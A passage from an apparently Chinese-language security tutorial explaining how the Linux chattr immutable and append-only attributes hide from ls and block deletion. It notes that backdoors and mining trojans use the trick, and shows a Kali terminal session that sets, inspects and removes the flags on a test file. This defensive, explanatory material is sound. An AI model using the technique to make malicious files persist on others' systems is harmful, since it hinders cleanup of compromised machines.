是查看不出来的，从而达到隐藏权限的目的。这个技巧也常被用在后门，变成了一些难以清除的后门文件，个人也在分析挖矿木马文件时遇到过挖矿木马使用了此用法，此方法也往往对新手来说感到头疼，下面就直接命令演示一下：kali@kali:~/tmpdir$ rm -f test.txt kali@kali:~/tmpdir$ touch test.txt kali@kali:~/tmpdir$ sudo chattr +ai test.txt kali@kali:~/tmpdir$ sudo rm -f test.txt rm: 无法删除 'test.txt': 不允许的操作 kali@kali:~/tmpdir$ ls -al 总计 12 drwxr-xr-x 2 kali kali 4096 6月 2日 21:46 . drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 .. -rw-r--r-- 1 kali kali 0 6月 2日 21:46 test.txt -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ lsattr test.txt username.txt ----ia--------e------- test.txt --------------e------- username.txt kali@kali:~/tmpdir$ sudo chattr -ai test.txt kali@kali:~/tmpdir$ sudo rm -f test.txt kali@kali:~/tmpdir$ ls -al 总计 12…